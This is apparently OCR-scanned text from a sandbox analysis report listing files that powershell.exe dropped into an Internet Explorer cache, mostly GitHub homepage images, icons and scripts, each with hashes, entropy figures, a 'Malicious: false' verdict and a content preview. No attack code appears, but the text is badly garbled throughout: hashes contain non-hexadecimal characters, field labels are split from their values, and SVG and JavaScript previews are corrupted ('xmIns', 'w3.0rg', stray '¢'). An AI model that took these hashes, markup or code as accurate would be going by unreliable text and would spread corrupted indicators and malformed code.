14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3h-6.5a.25.25 0 0 1-.2-.1l-.9-1.2c-.33-.44-.85-.7-1.4-.7h-3.52" fill="#627597"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\footer-illustration[1].svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 667990

Entropy (8bit):  5.993084733079996

Encrypted: false

SSDEEP: 12288:ZVIIb2N2PCDwq9UVUd4RUIBviD/XpKXI6n92bz/AHXgfvKXP:ZGb2NUC8qp1vIXpKXknUbMHGVK

MD5: 3FDF0104D5BFC12912ACB1313E698D90

SHAL: 219E4D6E99ACFF6E8E44B20E2370D448E32ACDEB

SHA-256: 7D2E5D3704CED8B6A4D66B93E5411B1E2FE8BAASAF385C772C667A2C2388D054F

SHA-512: 7918CCB27E13B24B27E94BA8D250B3D7E245663E9C75C2F129FAFA44C19B6A02344C7E13E3A29D9196F50A1DB0OD25F9BD2AE99FBE343F12F802E25228A510DE
A

Malicious: false

Reputation: unknown

Preview: <svg xmIns="http://www.w3.0rg/2000/svg" viewBox="0 0 2900 1494"><defs><mask id="mask">. <image width="2900" height="1494" href="data:image/png;base64

LIVBORWOKGgoAAAANSUhEUgAAC1QAAAXWCAAAAAADYVItAAIOEUIEQVR4AezcASRAI9rA4bdmatvOrm3btm3Utu02yQlIr2/jura5ZxqmjppOxZ/Zbd5IM71q
THazTc55na9n47b8CAABgle/cZ90AAAAWWZX5XQDKAWBAT+apAQAAILAf5SpUBAACUdOfM7VEeAADW78yLozQAAGCISf050soDAAAuyzwpygMAAK7OPCjKAWA
Azs/BXQAAAOUdNfmzAAAAytsj+3YOAACgVGETzwwAAGBxrLBc1C8AAAAAAAAAAAAAGG13f10AAADIFFR7NouAACAS07LvsYB8KgAAgLKmMZn9z/jkAAICSPpB
ZtOaMNQIAACjn1uzP9pwQAABAOZt1ZZGd+fcAAADK+XH2FdMZtwUAAFDOgdITZEFUEgAAQDK3Zm+RHfMpPAAAASIINTNZn5sMrBQAAUMg6M7M7+3N4AAAAId2
VVUXmuwMAAC|ptuzOPDOAAICYfp6ZHZsGAABQ2I8zf xMAAEB5N+WMVWUAAFDajo1PNr8ISgMAAH6Us5pfFaUBAABHZecfozwAAOCEzFFRHgAAMCrzpBi6Hb4
XLAAAgPntmXIcDNkaY/962l0BAADM5wuZv4mh2uo7N5/xx58EAAAWV5seWD2G6nPHXDLYyskNIAQAAWHIXZF84+sKRIXOUAADAfM45LobuXQf8YfSIThEDAAC
At2Z+MYZumxEXnbx5DAAAAI7OPDAWWWrrBwAAMB8bu3pOzdKAwWAAtpozK4dHaQAAWNTY8iXFIAY AAJy ZM5tfF4sKAADY50p5V6ewVEe/qnNM0OZb1YBIYeFgA
AUEM2npGZ/
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\gh-desktop[1].png
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 1418 x 1020, 8-bit colormap, non-interlaced

dropped

125593

7.966186490505686

false
3072:ekkKmQ1Y7CgBzqFrbJ8Zi3e9NeK3BwWGbhA+gXSQrMpOhO:omYY7CfVbJwioNeK3BWGA1SQ/O
8F47FC17701F147C5EB17C76A6F2FA77

B3B8B5BCE65C250C5E311B82FEF2B29A2B871AF9
029D8EB4CE815D4B1507B638F40EAB3ABC578411AD6675766ABC09A97A17741C

6F51D54066C09983E9E3AE11BE63067D3169D9EC5D17B3AA186878097DBAAB2FE10C37ACDF42E9BO1E326F0E74E06B6411FA9B3567F3EGOEESFBA74CC4ET758
40

false

unknown

~.yy|6KI?g.....L
| Sl

P*S<26Z..|}lreijp
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\github-logo[1].svg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

1953

4.0010556877910455

false

48:PxiMHILcUS54CEXMIMNSFyH/roEEKDRWIC:ptHycL54190pfkaRW9C
2E993206A02810586048E0816778C158
9B1C2244480ED699BF973E6F6F2CF8E34E8AFE25
A8067AAD7C7669BF5013C71FB68FE87249FA07CIDC66ABESABB2778EADF3470E
BF873082D0ODFE27A8CA78A2BA6292730DD734C97853EF48767504D72F09E0D84772D6860B2509B0A4BB82372B40E24689012C783A1D4E86A2336A82A0BB3104E
false

unknown

<svg height="30" viewBox="0 0 45 16" xmIns="http://www.w3.0rg/2000/svg" width="84"><path fill="rgb(36, 41, 46)" d="M18.53 12.03h-.02¢.009 0 .015.01.024.011h.006I-
.01-.01zm.004.011¢-.093.001-.327.05-.574.05-.78 0-1.05-.36-1.05-.83V8.13h1.59¢.09 0 .16-.08.16-.19v-1.7¢0-.09-.08-.17-.16-.17h-1.59V3.96¢0-.08-.05-.13-.14-.13h-
2.16¢-.09 0-.14.05-.14.13v2.17s-1.09.27-1.16.28¢-.08.02-.13.09-.13.17v1.36¢0 .11.08.19.17.19h1.11v3.28c0 2.44 1.7 2.69 2.86 2.69.53 0 1.17-.17 1.27-.22.06-.02.09-
.09.09-.16v-1.5a.177.177 0 00-.146-.18zM42.23 9.84c0-1.81-.73-2.05-1.5-1.97-.6.04-1.08.34-1.08.34v3.52s5.49.34 1.22.36¢1.03.03 1.36-.34 1.36-2.25zm2.43-.16¢0 3.43-
1.11 4.41-3.05 4.41-1.64 0-2.52-.83-2.52-.83s-.04.46-.09.52¢c-.03.06-.08.08-.14.08h-1.48¢-.1 0-.19-.08-.19-.171.02-11.11c0-.09.08-.17.17-.17h2.13¢.09 0 .17.08.17.17v
3.77s.82-.53 2.02-.53I-.01-.02¢1.2 0 2.97.45 2.97 3.88zm-8.72-3.61h-2.1c-.11 0-.17.08-.17.19v5.44s-.55.39-1.3.39-.97-.34-.97-1.09V6.25c0-.09-.08-.17-.17-.17h-2.14c-
.09 0-.17.08-.17.17v5.11c0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\github-mark[1].svg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

701

4.250936781427634

false
12:t9g1nl/nimjtL64NIVIMQFblhahLUEN+RHVgnAI7feQrmIT1OYvkwAnVw47IdR:t9q1nximILFJI7+UAheQL1VANSWIdAR
0D73B144641217A5177A9898FB786529

0D210103D624B2AE92503DCFA423EDOBF27542CF
2282CEF34B0B5471A89AB7EDBYA33F67E89DB258B112E9F7EF2CD24C14DBB93F

9BE88460EAAGE4396D3A98CE78D647E62F69DB881887F19C717FE75CBD65EE108BBAEBA1F51F25F98C83FACCACODCD8CD8EDSC057920F55737A9F950697E9:
F9

false
unknown

<svg height="20" xmiIns="http://www.w3.0rg/2000/svg" viewBox="0 0 16 16" width="20"><path fill="rgb(149, 157, 165)" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47
7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.6
6.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2
-.822.2-.82.441.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016
8c0-4.42-3.58-8-8-8z"></path></svg>
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\globe[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1238x1404, frames 3
dropped

121231

7.96069054577737

false

3072:szu/991fajyj8/XT3yo0n1qqctCQGXEIZC5b1RD5ILg:J/991fad/XT3gqqYKEIOW+

6AD730220473B2C8640EAF3EE6036DBE

610AC49FF8D4F246451267818AE5C62B61057916
8C632E20B5BDAEAD298CBC474DA5F20FFCED106378A91F2F4ABF367504925D7F8

87A7T7E377B791E5B540B1A3E23D4D56F804B5BB0287D938613F452CD768EGAAC3A83D4A53FDC36E42961E3A1502304B0BF5BDOEFD6986ADB63CA044BD25117:
6

false

unknown

...0.#.#.0%3))3*L;55,LWIEIWj__j.... ...0.#.#.0*3)")3*L;55,LWIEIW]__j...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\|IE\OROWKIO1\heart[1].svg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

826

4.363343134990845

false

24:tDb8F39dE8GUXK2/MtZJIxBqBeqNtJI31jB4ZKosDkNf:iFf82wZILE3Ht1jB4sfk
7AFC68471CE9003A17EE62DEODG39CIC
4ADB982BCACB1216599C7EB40EAE775EB9801774
FADEBF54AEECF53CB58BFB4F2CC8C92202D98E221E1521801B40D61073C7A516
06E0C7E2C6B012F9F073F003D65A28811D6E70351CB5828AF731016E50D802932A132A433A5DF35B56EOE79AE4F3BB873C16819565DBC6C86F3FECDBI1ELIC3E
false

unknown

<svg fill="none" height="22" viewBox="0 0 24 22" width="24" xmlns="http://www.w3.0rg/2000/svg"><path clip-rule="evenodd" d="m11.655 17.9159¢.0002.0002.0004.0003
.345-.6659.3446.6662.3448.6661.345.6659-.2161.1118-.4739.1118-.69 0zmO0 0 .345-.6659.345.6659.0023-.0012.0054-.0028.0185-.0097¢.0157-.0083.0381-.0202.0667-
.0357.0573-.0309.1396-.0761.2433-.1348.2074-.1175.5011-.2897.8524-.5118.701-.4432 1.6392-1.0899 2.5811-1.9018 1.8407-1.5869 3.8853-3.9678 3.8853-6.8181 0-2.
66421-2.0858-4.5-4.25-4.5-1.5474 0-2.9029.80151-3.75 2.01995-.8471-1.21844-2.20264-2.01995-3.75-2.01995-2.16421 0-4.25 1.83579-4.25 4.5 0 2.8503 2.04459
5.2312 3.8853 6.8181.94187.8119 1.88008 1.4586 2.5811 1.9018.3513.2221.645.3943.8524.5118.1037.0587.186.1039.2433.1348.0286.0155.051.0274.0667.0357
1.0185.0097.0054.0028z" fill="rgh(234, 74, 170)"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\hero-glow[1].svg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

1871

5.1104155775063544

false

48:36KmHEgD0ImHggDOCmHwgDOfmH2qgD0gYW:KTIMTWI
918426C6B5E185A35B51CEC49416DBC1
A4A43759EF752CB2AE83CC0762DE4EF765E95CED
4DC3AFAB987A6C5420592D217356849996E0E84EE6A78C5D59F631939C743B0D

FEEED469BCA249C1FDE17F304A1341471D49DA7EAF8CB4FDBC694FB58D08BA86009C269651B2288DABCDB2DC6FBFC3939D2307B5F20CCB401F3C705B30E3E
6F0

false
unknown

<svg fill="none" height="1602" viewBox="0 0 2769 1602" width="2769" xmIns="http://www.w3.0rg/2000/svg" xmins:xlink="http://www.w3.0rg/1999/xlink"><filter id="a"
color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse" height="1044" width="1044" x="1682" y="558"><feFlood flood-opacity="0" result="BackgroundimageF
ix"/><feBlend in="SourceGraphic" in2="BackgroundimageFix" mode="normal" result="shape"/><feGaussianBlur result="effectl_foregroundBlur" stdDeviation="100"/></fi
lter><filter id="b" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse" height="1044" width="1044" x="1725" y="0"><feFlood flood-opacity="0" result=
"BackgroundimageFix"/><feBlend in="SourceGraphic" in2="BackgroundimageFix" mode="normal" result="shape"/><feGaussianBlur result="effectl_foregroundBlur"
stdDeviation="100"/></filter><filter id="c" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse" height="858" width="982" x="0" y="23"><feFlood flood-opacit
y="0" result="BackgroundimageFix"/><feBI
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\home-b03d01c8df61[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 574

Entropy (8bit):  5.465138663155462

Encrypted: false

SSDEEP: 12:gKMINejc5YImURIBbFhua4BQSHQ2ZSE+du5c544WAUuUX:dk45YImSoF8a4XVSjY2K8US

MDS5: 9F411E56CEOFF203B8415B016E6B047C

SHA1L: C69AABADEBCT7F528783D4043619D4B8629E31888

SHA-256: E6EB8B7EEA42B00B4A21BCFC82ACACF48E33D8869EF6DEF717E52720EB6D3A33

SHA-512: BO3D01C8DF6174AA21288E4EE31F1A0C2812DCFD5D235153149257BD78569D4EDACD15E866F25E98C171FBAAFAELDF8264E15F352F273AC738518EFC92D18B
3

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var b=Object.defineProperty;var _=(e,t)=>b(e,"name" {value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk(||[]).push([[5177],

{23225:(e,t,n)=>{var s=n(64463);const a=new IntersectionObserver(r=>{for(const o of r)o.isIntersecting?o.target.removeAttribute("tabindex"):o.target.setAttribute("ta
bindex","-1")},{rootMargin:"0% 0% 0% 0%" threshold:0});(0,s.N7)(".js-home-repo-card",r=>{a.observe(r)})}},e=>{var t=_(s=>e(e.s=s),"__webpack_exec__");e.0(0,[5724],
()=>t(23225));var n=e.0()}]);})();..//# sourceMappingURL=home-d041f8a7119c.js.map

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKION\iphone-notch[1).svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 299

Entropy (8bit):  4.953847628713329

Encrypted: false

SSDEEP: 6:t6AblIA4t4mc4sIx5t9cLSdFMDTz28gPIDIUR0ogqe O7wU]ME:t6Abybt49ELSdqC8gPcpCq37waME

MD5: 91E49310B5D548D338D0A530AF820D9D

SHA1L: EFC7EA53B94E24B7E6970F5A0DD68C159ECA8039

SHA-256: AOFDOC7370AC6504235E4D9FD3B82E297C1908408430E5DBB2D7036715B46092

SHA-512: 2615C31C4A5A2CABEO2ED30D7EDFACCS833EA885E1B610B5A55B8307C7781FB215C71C1645B6C1861914DDAFA9231A9C78E00DF5E93F6F55A6B3BBC6B6C426
2E

Malicious: false

Reputation: unknown

Preview: <svg fill="none" height="20" width="280" xmIns="http://www.w3.0rg/2000/svg"><path clip-rule="evenodd" d="M68.598 0s3.267 1.458 3.267 3.257v1.955c0 7.915 6.435 1

4.332 14.373 14.332h107.8c7.938 0 14.373-6.417 14.373-14.332V3.257A3.262 3.262 0 0 1 211.678 0z" fill="#040d21" fill-rule="evenodd"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\Llinkedin[1].svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 245

Entropy (8bit): 5.0048318057496335

Encrypted: false

SSDEEP: 6:t19mc4sI3UJIv9iogw7wSTY CtIGEX9tjtL 7K/:t41AvOijw77IkjtLO/

MD5: CB0B17537194C77C2E788E803B548863

SHAL: B54B9F5A388EC7662664FE60CIFF83AD04B573B9

SHA-256: D84670B5CF7AD670B2C91E6EB52E2CA23D772E5F95BBCFEF58DF2DAES87250FE

SHA-512: 3COACESEDB5F6917EB8882F08563F149042A371C36E23214E35FA1B843BC48C457D1C8DBD770954A687C9A02C3EDO3AFB1DOCFB1084934E781F9D3DA624770¢
C

Malicious: false

Reputation: unknown

Preview: <svg xmIns="http://www.w3.0rg/2000/svg" viewBox="0 0 19 18"><path d="M3.94 2A2201120a22 00 1 1.94 2zM4 5.48H0V18h4zm6.32 0H6.34V18n3.94v-6.57c0-

3.66 4.77-4 4.77 OV18H19v-7.93c0-6.17-7.06-5.94-8.72-2.912" fill="rgh(149, 157, 165)"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\marketing-9af736bab4dd[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines
Category: dropped
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

20135

5.317662387098224

false
384:ZcrDf903i+fIR{tVYDIOD88As8T1eUTBSLXB5iVdDwg9iLFbh01nFC4AJIQc5Rme:a90y+fntVYDIODg88As8T1eUkKLXBMVdd
E6FBF40F81458DD776D97DA049864896

472B2FD26721BFFECAC3B75F3F60F9B8C159E8AB
CEDDF869E68F9DC15DC17F71356AD1B91BA0483CA16EB4CE726A75FCA798E4F0

9AF736BAB4DD048FC110D33354F66C753FB5CDCC9A6B04B30B70A8D4C8C1CCE9956E5F29D4BEE206F1D8B22E06B70BD7008BD789581154F0A0A65A7D6D2B1
cs

false
unknown

(()=>{var V=0Object.defineProperty;var b=(A,0)=>V(A,"name" {value:O,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([[9073],{59753:(
A,0,0)=>{"use strict";0.d(O,{f:()=>z,0n:()=>M});function I(){if(!(this instanceof I))return new I;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Obje
ct.create(this.indexes),this.activelndexes=[]}b(l,"SelectorSet");var m=window.document.documentElement,|=m.matches||m.webkitMatchesSelector||m.mozMatchesSelecto
r||m.oMatchesSelector||m.msMatchesSelector;l.prototype.matchesSelector=function(t,e){return I.call(t,e)},l.prototype.querySelectorAll=function(t,e){return e.querySelector
All(t)},].prototype.indexes=[];var k=/"#((?:[\w\u00cO-\uFFFF\-]|\\.)+)/g;|.prototype.indexes.push({name:"ID",selector:b(function(e){var s;if(s=e.match(k))return s[0].slic
e(1)},"matchldSelector"),element:b(function(e){if(e.id)return[e.id]},"getElementld")});var g=/"\.((?:\w\u00cO-\uFFFF\-]|\\.)+)/g;|.prototype.indexes.push({name

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\matrix-workflow-build[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 520 x 88, 8-bit colormap, non-interlaced

dropped

991

7.542435977478359

false
12:6v/7uRIPS1NGIKDpnTFjliasvjvBsGER41D9+EIZnmO0zt+2+LzpBg/IGmu2da+i:JS11DpnJRiLbaXStlZnxzw/GmTEAXc
44AC7B35BA07C1CF9IDB4933BC593EELD

80BOC1DB1D4478BEF3FFDBD07B602CF389E5859F
0A4490CC719DOBCEC46F523CB1084DAC7BBB6AA797D3269E0A2FC982A2166526

B1C693C2EBBA45F21E881D2D445ECCCE94180CBBCCA864C2FEA3F935DD613221B740133ECDEBO8CES6612385A55DB3509F84935E97071CFES76E73CE28ESE
34

false

unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\matrix-workflow-canvas[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 1412 x 844, 4-bit colormap, non-interlaced

dropped

3623

7.1652147571102445

false
96:25+TmsRueE40p6c46L0cmFgjVTFTevT2FTWWTJI/TIWT5TeDAG7:2UTnDfO/4CugxTFTevT2FTWWTJI/TIwT2
1D702BDA7CD5A1A88D073049E18D34F5

3D48F34D87BEGEC7140B66F3DC77A470B60E2BC8
4AF7BACA5A9CB9AB51CC66AADA041C85467A8EB08BES51A25156CCA88117E3DF7

4EC65EAEB1EC1A83A810C8CB704E074DF844E59A0235B168DC27CDF3391240FDC323B3A0468C07448526FAD8982DE202B4D713E089111E272DCOD7C9A410A0
E

false

unknown
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0...V=(6\X-...q..-Eu....+..2?.0...<s1}....... _ra.q..Y!l..=.....J..NKf. LIC.r>.+.v.osu.}/...;pa.q ..U{.v...A....[..r <]%.C.\Ne.[.(R_.y_...0..K.].0..TK!......ra

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\matrix-workflow-publish-tab[1].png

Process:
File Type:
Category:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PNG image data, 152 x 42, 8-bit colormap, non-interlaced

dropped
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Size (bytes): 491

Entropy (8bit):  7.310458091739664

Encrypted: false

SSDEEP: 12:6v/7CKEIB/4xiyvSw7c4UKN4Wj0vU1DtQKTI8/JzZUhC5uHO9:zf2FUKzje C+WIAICWO9

MDS5: D13177D7275D23B05D66BE73D47B4D3C

SHAL: 1934C5DA383E976B2EBF5900357FBCBEE349F92A

SHA-256: CB4C8AEACB5DF50DEA882166EE025861270FFBDI06A9BCDOC85610DA84A6FBOE

SHA-512: 89A368B51056D32733E026B5B428445F1CBED8184383B4997532141534FD095F5D7588CC1D4F118F95A64904BE2E069F82391B1210091AD81B5FD48276FABECT
Malicious: false

Reputation: unknown

Preview: PNG........ IHDR....... *....X.bm.. .IPLTEGpLS)-#"- " #(,"-#-#-.$,$(-3)........ tRNS...".].@.p......0IDATX...I. ......2.R.%.n"...d.C42.],..X,...b.X,.0D.+...H..F@w)..@.L..).G.+.;F w..~.{.

b3 XW.(....Gy. ALIFLHN)..R3.TOK...=...0.
."f.3&.°1..e..6..K.....Rz...Tr~..b..8-_bf.gv.J..<.]C5..

X....1. G1.Q..Q%...t.v....[..q..... M{G.(V?...x.;1.....Yb.9..J?0...SP..F...YL..Cl.7.2.&A....... S T— ql..c......R(.q].j2..H-
...Eu.&....[END.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\|IE\OROWKIOT\matrix-workflow-publish[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 584 x 328, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 4145

Entropy (8bit):  7.807685901556269

Encrypted: false

SSDEEP: 96:CImZ005MhSuR9Zhgzuo5YNOLbNOvVMoJLCiC6UcEaa8L:PSER9bgLmwFQwjab

MD5: D8773BF353F70D1A7417026947AA8AAB

SHA1L: D271D3F529A2E552148EB5CAC64DEC7AF7F95013

SHA-256: 801E38A2F3580056ED41C3E81046103CC1634CEAF27C0196D28C48AE33AD8FBY

SHA-512: BIACF073A23D362352ADDFC1E2F9CCE2C913559A3B9F66D955D194452226724AE2FA5290CEA09F5F55C37942DDB8054D5A166DB31E460C335256F733B65666A
Malicious: false

Reputation: unknown

Preview: JHDR..H..H

Ju<.3..$IDATX....u. ...g...n._7..~1.fP})
A.L1...7.9">. #&5_xt..G.I-R..#.E+.V.
.lLawHs...t..Y.Q..0...R.EWH..5

.. JHZ.MY. K. $#f. +@H...H1.....|.....(.KB..7.€ ....E.SB..... .UN..)..Bc.fHa..R"..1$R....,.)[[...
f..;.Z1.D.....28.y...#.MU....R..yJ0.4.. TH.dDK7.0.$7=ysL.X. bv....7..Lh.$...Z....._w.$#K..C.HHHi..
i \HaL 0.4 ). 4. = RI{...A.allL6#..15.1.8.B.28.b.A..1.\.6GL.B

.75K..Jq.52.cl.$g
...z....bf>Rs..Pq..
zOHRb.r...5...7.!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\matrix-workflow-spinner[1].svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 427

Entropy (8bit):  4.930226104334858

Encrypted: false

SSDEEP: 12:t6Abvnl/nelWFRLJIFhUU|BIc//IOVDPQgnA:tDbvnxeThTticFGQgA

MD5: 83E52CCFIF1E89F96976FFE221BF3D68

SHA1L: 260ECCOADF3D038F2DBB1239B74F605D84AE4E19

SHA-256: 12CA4F38455BEF2A43F405A92048DA0FES9408BB0795E71FDADB6865FA33512A

SHA-512: FFE4975B03C54AF722F81DAEBCC28D268DC5AF5AF815CB1843C008752C1AF32033E77DE891EDBB191084314C49BCB69E365BAB5A508482F1E4A9C55B973121)
D

Malicious: false

Reputation: unknown

Preview: <svg fill="none" height="16" viewBox="0 0 16 16" width="16" xmIns="http://www.w3.0rg/2000/svg"><path d="m8 12c¢2.2091 0 4-1.7909 4-4 0-2.20914-1.7909-4-4-4-2.209

14 0-4 1.79086-4 4 0 2.2091 1.79086 4 4 4z" fill="#d0aa3d"/><g stroke-width="2"><path d="m8 15c3.866 0 7-3.134 7-7 0-3.86599-3.134-7-7-7-3.86599 0-7 3.13401-7 7 0
3.866 3.13401 7 7 72" stroke="#e9d69e"/><path d="m15 8c0-3.866-3.134-7-7-7" stroke="#d0aa3d"/></g></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\matrix-workflow-success[1].svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 478

Entropy (8bit): 4.7421791757259015
Encrypted: false
SSDEEP: 12:t6Abvnl/ne9uOblkCPiAujhttt3Zs7gKME:tDbvnxeQumWPhulttFZs7dME
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

4D3A61E25332F534E66CO5E3DF75967E
4BACB13366772B22C2F5E4E067EC3CEEDSDA1AA8
BC5B363FF03B954856C65CE67F15C6695A70D115D007880B371702D141188CCE

OED734A73E7DA589CB421D2C321C4E63A4D07AB85EDC1DB38C574970E49BC333BAE29DFEOSDFCBAF1263DACDD492CCB63B94AF826AF338AD062DA04AESSL
6BBB

false
unknown

<svg fill="none" height="16" viewBox="0 0 16 16" width="16" xmIns="http://www.w3.0rg/2000/svg"><path clip-rule="evenodd" d="m8 16c4.4183 0 8-3.5817 8-8 0-4.41828-
3.5817-8-8-8-4.41828 0-8 3.58172-8 8 0 4.4183 3.58172 8 8 8zm3.7803-9.71967¢.2929-.29289.2929-.76777 0-1.06066s-.7677-.29289-1.0606 01-3.9697 3.96967-
1.46967-1.46967c-.29289-.29289-.76777-.29289-1.06066 0s-.29289.76777 0 1.06066I2 1.99997¢.29289.2929.76777.2929 1.06066 0z" fill="#28a745" fill-rule="evenodd"
[><[svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\matrix-workflow-test-tab[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 116 x 42, 8-bit colormap, non-interlaced

dropped

359

7.020942113351248

false
6:6v/IhPW3gDXIPvLFayOgk7WOk6uQNy2qJ9ha3AonalH/ge7cr2X1cjxkZzzUTp:6v/7030XIZayvxvQNIgds206DI6xAzU9
F255CD414110F6A4DFCD858A30DEC282

53F4452F7F2E9220838620DC03D9561A90715B0D
733D2AFE17AC4B269A7AFA1E3A16CBD5D0D4CD47EC444BDCCEB331BC15E0293F

6C2B8E2416C21CFF210E8E76160E0CA0005D977DFEDB6870A573189FDDAB4ABA3FE8132E659B3A67038589EA70B5E627F0A970BC44EED21217B53595344D938
C

false
unknown

LN oooocod [T [Roodbod
8Z.H.M....a.@.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\ matrix-workflow-test[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 584 x 328, 8-bit colormap, non-interlaced

dropped

4609

7.864946394618032

false
96:9LKQor2kVIATFVLV4ZUAmMbaGR/XoO/Wonm3poHSSI3IAXgWX:Z6yCxBvY UAMMGpwgm3pMSSsZX
8F5EE56189187EDA6403AB907FCI9BD2E

94CECA18E26C6ABDEDDEGA090B913B152219CDD7
4C1046758B793B375A491E7D8D510D41EDCC9956305592C4BFA70CIF3D1AA2AL
97D70EB84E9D8602F7BF73B3824833AA69098F571E07DD6FD4887477B60DF44AAA8B0211BF97E73237E3455BAEB9321D3E8CI96C5C996574CF00115784E9D30FF

false

